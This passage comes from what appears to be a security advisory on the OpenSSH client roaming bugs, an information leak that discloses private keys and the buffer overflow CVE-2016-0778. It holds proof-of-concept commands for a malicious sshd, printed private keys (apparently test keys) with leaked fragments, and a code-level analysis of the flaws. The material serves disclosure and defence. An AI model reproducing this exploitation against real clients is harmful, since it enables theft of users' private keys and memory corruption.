-V\nOpenSSH_7.0, LibreSSL 2.2.2\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL\nruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s\n17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8\nL/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh\nxSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP\nvavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl\nJka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP\nKyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19\nqJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY\ngQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK\nQolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt\ngKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL\ncQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB\n+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl\nhcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri\nhBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh\nvhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O\nnFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG\n8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n-----END RSA PRIVATE KEY-----\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 1 %h %p\" -p 222 127.0.0.1\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n(this example requires a ProxyCommand because of the NULL-aitop bug\ndescribed in the Mitigating Factors of the Information Leak section, and\ncrashes because of the NULL-pointer dereference discussed in the\nMitigating Factors of the Buffer Overflow section)\n\n# cat /tmp/roaming-a5eca355/infoleak\nry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: CentOS 7, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"CentOS Linux 7 (Core)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n\nGLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2\nhUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-b7b16dfc/infoleak\njJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5\n\n# strings /tmp/roaming-b324ce87/infoleak\nIuQL\nR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9v\n\n# strings /tmp/roaming-24011739/infoleak\nKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC\n\n# strings /tmp/roaming-37456846/infoleak\nLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA\nyq4Kwj/\n\n# strings /tmp/roaming-988ff54c/infoleak\nGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\n\n# strings /tmp/roaming-53887fa5/infoleak\n/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: Fedora 20, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"Fedora 20 (Heisenbug)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz\nHLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp\no9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ\n/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy\n2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr\nHiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\njwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm\nqK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\nZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-a2bbc5f6/infoleak\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG\n\n# strings /tmp/roaming-47b46456/infoleak\nRGAcE0nc\nGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9\n\n# strings /tmp/roaming-7a6717ae/infoleak\ncawMW4LZ1\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p\n\n# strings /tmp/roaming-f3091f08/infoleak\nlZ3w0qHe\nnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\n\n# strings /tmp/roaming-62a9e9a3/infoleak\nlZ3w0qHe\nr3TwTa0pPEk11\nLbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37P\n\n# strings /tmp/roaming-8de31ed5/infoleak\n7qyvNznQ\n26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\n\n# strings /tmp/roaming-f5e0fbcc/infoleak\nyESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxS\n\n# strings /tmp/roaming-9be933df/infoleak\nQRtzK/GpRuMC1\nC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT\n\n# strings /tmp/roaming-ee4d1e6c/infoleak\nSG3aTqYp\ntEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s\n\n# strings /tmp/roaming-c2bfd69c/infoleak\nSG3aTqYp\n6JmTOun5zVV6A\nH6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s\n\n# strings /tmp/roaming-2b3217a1/infoleak\nDGLfFGdO\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ\n\n# strings /tmp/roaming-1e275747/infoleak\ng3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\n\n\n========================================================================\nBuffer Overflow (CVE-2016-0778)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nSupport for roaming was elegantly added to the OpenSSH client: the calls\nto read() and write() that communicate with the SSH server were replaced\nby calls to roaming_read() and roaming_write(), two wrappers that depend\non wait_for_roaming_reconnect() to transparently reconnect to the server\nafter a disconnection. The wait_for_roaming_reconnect() routine is\nessentially a sequence of four subroutines:\n\n239 int\n240 wait_for_roaming_reconnect(void)\n241 {\n... \n250         fprintf(stderr, \"[connection suspended, press return to resume]\");\n... \n252         packet_backup_state();\n253         /* TODO Perhaps we should read from tty here */\n254         while ((c = fgetc(stdin)) != EOF) {\n... \n259                 if (c != \u0027\\n\u0027 \u0026\u0026 c != \u0027\\r\u0027)\n260                         continue;\n261\n262                 if (ssh_connect(host, \u0026hostaddr, options.port,\n... \n265                     options.proxy_command) == 0 \u0026\u0026 roaming_resume() == 0) {\n266                         packet_restore_state();\n... \n268                         fprintf(stderr, \"[connection resumed]\\n\");\n... \n270                         return 0;\n271                 }\n272\n273                 fprintf(stderr, \"[reconnect failed, press return to retry]\");\n... \n275         }\n276         fprintf(stderr, \"[exiting]\\n\");\n... \n278         exit(0);\n279 }\n\n1. packet_backup_state() close()s connection_in and connection_out (the\nold file descriptors that connected the client to the server), and saves\nthe state of the suspended SSH session (for example, the encryption and\ndecryption contexts). \n\n2. ssh_connect() opens new file descriptors, and connects them to the\nSSH server. \n\n3. roaming_resume() negotiates the resumption of the suspended SSH\nsession with the server, and calls resend_bytes(). \n\n4. packet_restore_state() updates connection_in and connection_out (with\nthe new file descriptors that connect the client to the server), and\nrestores the state of the suspended SSH session. \n\nThe new file descriptors for connection_in and connection_out may differ\nfrom the old ones (if, for example, files or pipes or sockets are opened\nor closed between two successive ssh_connect() calls), but unfortunately\nhistorical code in OpenSSH assumes that they are constant:\n\n- In client_loop(), the variables connection_in and connection_out are\n  cached locally, but packet_write_poll() calls roaming_write(), which\n  may assign new values to connection_in and connection_out (if a\n  reconnection occurs), and client_wait_until_can_do_something()\n  subsequently reuses the old, cached values. \n\n- client_loop() eventually updates these cached values, and the\n  following FD_ISSET() uses a new, updated file descriptor (the fd\n  connection_out), but an old, out-of-date file descriptor set (the\n  fd_set writeset). \n\n- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)\n  first calloc()ates setp, a file descriptor set for connection_in;\n  next, it loops around memset(), FD_SET(), select() and roaming_read();\n  last, it free()s setp and returns. Unfortunately, roaming_read() may\n  reassign a higher value to connection_in (if a reconnection occurs),\n  but setp is never enlarged, and the following memset() and FD_SET()\n  may therefore overflow setp (a heap-based buffer overflow):\n\n1048 int\n1049 packet_read_seqnr(u_int32_t *seqnr_p)\n1050 {\n.... \n1052         fd_set *setp;\n.... \n1058         setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_in + 1,\n1059             NFDBITS), sizeof(fd_mask));\n.... \n1065         for (;;) {\n.... \n1075                 if (type != SSH_MSG_NONE) {\n1076                         free(setp);\n1077                         return type;\n1078                 }\n.... \n1083                 memset(setp, 0, howmany(active_state-\u003econnection_in + 1,\n1084                     NFDBITS) * sizeof(fd_mask));\n1085                 FD_SET(active_state-\u003econnection_in, setp);\n.... \n1092                 for (;;) {\n.... \n1097                         if ((ret = select(active_state-\u003econnection_in + 1, setp,\n1098                             NULL, NULL, timeoutp)) \u003e= 0)\n1099                                 break;\n.... \n1115                 }\n.... \n1117                 do {\n.... \n1119                         len = roaming_read(active_state-\u003econnection_in, buf,\n1120                             sizeof(buf), \u0026cont);\n1121                 } while (len == 0 \u0026\u0026 cont);\n.... \n1130         }\n1131         /* NOTREACHED */\n1132 }\n\n- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is\n  basically similar to packet_read_seqnr() and may overflow its own setp\n  if roaming_write() (called by packet_write_poll()) reassigns a higher\n  value to connection_out (after a successful reconnection):\n\n1739 void\n1740 packet_write_wait(void)\n1741 {\n1742         fd_set *setp;\n.... \n1746         setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_out + 1,\n1747             NFDBITS), sizeof(fd_mask));\n1748         packet_write_poll();\n1749         while (packet_have_data_to_write()) {\n1750                 memset(setp, 0, howmany(active_state-\u003econnection_out + 1,\n1751                     NFDBITS) * sizeof(fd_mask));\n1752                 FD_SET(active_state-\u003econnection_out, setp);\n.... \n1758                 for (;;) {\n.... \n1763                         if ((ret = select(active_state-\u003econnection_out + 1,\n1764                             NULL, setp, NULL, timeoutp)) \u003e= 0)\n1765                                 break;\n.... \n1776                 }\n.... \n1782                 packet_write_poll();\n1783         }\n1784         free(setp);\n1785 }\n\n------------------------------------------------------------------------\nMitigating Factors\n------------------------------------------------------------------------\n\nThis buffer overflow affects all OpenSSH clients \u003e= 5.4, but its impact\nis significantly reduced by the Mitigating Factors detailed in the\nInformation Leak section, and additionally:\n\n- OpenSSH versions \u003e= 6.8 reimplement packet_backup_state() and\n  packet_restore_state(), but introduce a bug that prevents the buffer\n  overflow from being exploited; indeed, ssh_packet_backup_state() swaps\n  two local pointers, ssh and backup_state, instead of swapping the two\n  global pointers active_state and backup_state:\n\n  9 struct ssh *active_state, *backup_state;\n... \n238 void\n239 packet_backup_state(void)\n240 {\n241         ssh_packet_backup_state(active_state, backup_state);\n242 }\n243\n244 void\n245 packet_restore_state(void)\n246 {\n247         ssh_packet_restore_state(active_state, backup_state);\n248 }\n\n2269 void\n2270 ssh_packet_backup_state(struct ssh *ssh,\n2271     struct ssh *backup_state)\n2272 {\n2273         struct ssh *tmp;\n.... \n2279         if (backup_state)\n2280                 tmp = backup_state;\n2281         else\n2282                 tmp = ssh_alloc_session_state();\n2283         backup_state = ssh;\n2284         ssh = tmp;\n2285 }\n.... \n2291 void\n2292 ssh_packet_restore_state(struct ssh *ssh,\n2293     struct ssh *backup_state)\n2294 {\n2295         struct ssh *tmp;\n.... \n2299         tmp = backup_state;\n2300         backup_state = ssh;\n2301         ssh = tmp;\n2302         ssh-\u003estate-\u003econnection_in = backup_state-\u003estate-\u003econnection_in;\n\n  As a result, the global pointer backup_state is still NULL when passed\n  to ssh_packet_restore_state(), and crashes the OpenSSH client when\n  dereferenced:\n\n# env ROAMING=\"overflow:A fd_leaks:0\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 15 %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n  This bug prevents the buffer overflow from being exploited, but not\n  the information leak, because the vulnerable function resend_bytes()\n  is called before ssh_packet_restore_state() crashes. \n\n------------------------------------------------------------------------\nFile Descriptor Leak\n------------------------------------------------------------------------\n\nA back-of-the-envelope calculation indicates that, in order to increase\nthe file descriptor connection_in or connection_out, and thus overflow\nthe file descriptor set setp in packet_read_seqnr() or\npacket_write_wait(), a file descriptor leak is needed:\n\n- First, the number of bytes calloc()ated for setp is rounded up to the\n  nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)\n  on 64-bit systems. \n\n- Next, in glibc, this number is rounded up to the nearest multiple of\n  MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit\n  systems. \n\n- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit\n  systems, of which 24 bytes (or 192 file descriptors) are reserved for\n  setp. \n\n- In conclusion, a file descriptor leak is needed, because connection_in\n  or connection_out has to be increased by hundreds in order to overflow\n  setp. \n\nThe search for a suitable file descriptor leak begins with a study of\nthe behavior of the four ssh_connect() methods, when called for a\nreconnection by wait_for_roaming_reconnect():\n\n1. The default method ssh_connect_direct() communicates with the server\nthrough a simple TCP socket: the two file descriptors connection_in and\nconnection_out are both equal to this socket\u0027s file descriptor. \n\nIn wait_for_roaming_reconnect(), the low-numbered file descriptor of the\nold TCP socket is close()d by packet_backup_state(), but immediately\nreused for the new TCP socket in ssh_connect_direct(): the new file\ndescriptors connection_in and connection_out are equal to this old,\nlow-numbered file descriptor, and cannot possibly overflow setp. \n\n2. The special ProxyCommand \"-\" communicates with the server through\nstdin and stdout, but (as explained in the Mitigating Factors of the\nInformation Leak section) it cannot possibly reconnect to the server,\nand is therefore immune to this buffer overflow. \n\n3. Surprisingly, we discovered a file descriptor leak in the\nssh_proxy_fdpass_connect() method itself; indeed, the file descriptor\nsp[1] is never close()d:\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103     const char *proxy_command)\n 104 {\n ... \n 106         int sp[2], sock;\n ... \n 113         if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) \u003c 0)\n 114                 fatal(\"Could not create socketpair to communicate with \"\n 115                     \"proxy dialer: %.100s\", strerror(errno));\n ... \n 161         close(sp[0]);\n ... \n 164         if ((sock = mm_receive_fd(sp[1])) == -1)\n 165                 fatal(\"proxy dialer did not pass back a connection\");\n ... \n 171         /* Set the connection file descriptors. */\n 172         packet_set_connection(sock, sock);\n 173\n 174         return 0;\n 175 }\n\nHowever, two different reasons prevent this file descriptor leak from\ntriggering the setp overflow:\n\n- The method ssh_proxy_fdpass_connect() communicates with the server\n  through a single socket received from the ProxyCommand: the two file\n  descriptors connection_in and connection_out are both equal to this\n  socket\u0027s file descriptor. \n\n  In wait_for_roaming_reconnect(), the low-numbered file descriptor of\n  the old socket is close()d by packet_backup_state(), reused for sp[0]\n  in ssh_proxy_fdpass_connect(), close()d again, and eventually reused\n  again for the new socket: the new file descriptors connection_in and\n  connection_out are equal to this old, low-numbered file descriptor,\n  and cannot possibly overflow setp. \n\n- Because of the waitpid() bug described in the Mitigating Factors of\n  the Information Leak section, the method ssh_proxy_fdpass_connect()\n  calls fatal() before it returns to wait_for_roaming_reconnect(), and\n  is therefore immune to this buffer overflow. \n\n4. The method ssh_proxy_connect() communicates with the server through a\nProxyCommand and two different pipes: the file descriptor connection_in\nis the read end of the second pipe (pout[0]), and the file descriptor\nconnection_out is the write end of the first pipe (pin[1]):\n\n 180 static int\n 181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)\n 182 {\n ... \n 184         int pin[2], pout[2];\n ... \n 192         if (pipe(pin) \u003c 0 || pipe(pout) \u003c 0)\n 193                 fatal(\"Could not create pipes to communicate with the proxy: %.100s\",\n 194                     strerror(errno));\n ... \n 240         /* Close child side of the descriptors. */\n 241         close(pin[0]);\n 242         close(pout[1]);\n ... \n 247         /* Set the connection file descriptors. */\n 248         packet_set_connection(pout[0], pin[1]);\n 249\n 250         /* Indicate OK return */\n 251         return 0;\n 252 }\n\nIn wait_for_roaming_reconnect(), the two old, low-numbered file\ndescriptors connection_in and connection_out are both close()d by\npacket_backup_state(), and immediately reused for the pipe(pin) in\nssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of\nthese old, low-numbered file descriptors, and cannot possibly overflow\nsetp. \n\nOn the other hand, the pipe(pout) in ssh_proxy_connect() may return\nhigh-numbered file descriptors, and the new connection_in (pout[0]) may\ntherefore overflow setp, if hundreds of file descriptors were leaked\nbefore the call to wait_for_roaming_reconnect():\n\n- We discovered a file descriptor leak in the pubkey_prepare() function\n  of OpenSSH \u003e= 6.8; indeed, if the client is running an authentication\n  agent that does not offer any private keys, the reference to agent_fd\n  is lost, and this file descriptor is never close()d:\n\n1194 static void\n1195 pubkey_prepare(Authctxt *authctxt)\n1196 {\n.... \n1200         int agent_fd, i, r, found;\n.... \n1247         if ((r = ssh_get_authentication_socket(\u0026agent_fd)) != 0) {\n1248                 if (r != SSH_ERR_AGENT_NOT_PRESENT)\n1249                         debug(\"%s: ssh_get_authentication_socket: %s\",\n1250                             __func__, ssh_err(r));\n1251         } else if ((r = ssh_fetch_identitylist(agent_fd, 2, \u0026idlist)) != 0) {\n1252                 if (r != SSH_ERR_AGENT_NO_IDENTITIES)\n1253                         debug(\"%s: ssh_fetch_identitylist: %s\",\n1254                             __func__, ssh_err(r));\n1255         } else {\n.... \n1288                 authctxt-\u003eagent_fd = agent_fd;\n1289         }\n.... \n1299 }\n\n  However, OpenSSH clients \u003e= 6.8 crash in ssh_packet_restore_state()\n  (because of the NULL-pointer dereference discussed in the Mitigating\n  Factors of the Buffer Overflow section) and are immune to the setp\n  overflow, despite this agent_fd leak. \n\n- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH\n  client (it is disabled by default), a malicious SSH server can request\n  hundreds of forwardings, in order to increase connection_in (each\n  forwarding opens a file descriptor), and thus overflow setp in\n  packet_read_seqnr():\n\n# env ROAMING=\"overflow:A\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007f0474d03e70 ***\nAborted (core dumped)\n\n# env ROAMING=\"overflow:X\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/ssh -X -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***\n*** Error in `/usr/bin/ssh\u0027: malloc(): memory corruption: 0x00007fdcc2a3abc0 ***\n\nFinally, a brief digression on two unexpected problems that had to be\nsolved in our proof-of-concept:\n\n- First, setp can be overflowed only in packet_read_seqnr(), not in\n  packet_write_wait(), but agent forwarding and X11 forwarding are post-\n  authentication functionalities, and post-authentication calls to\n  packet_read() or 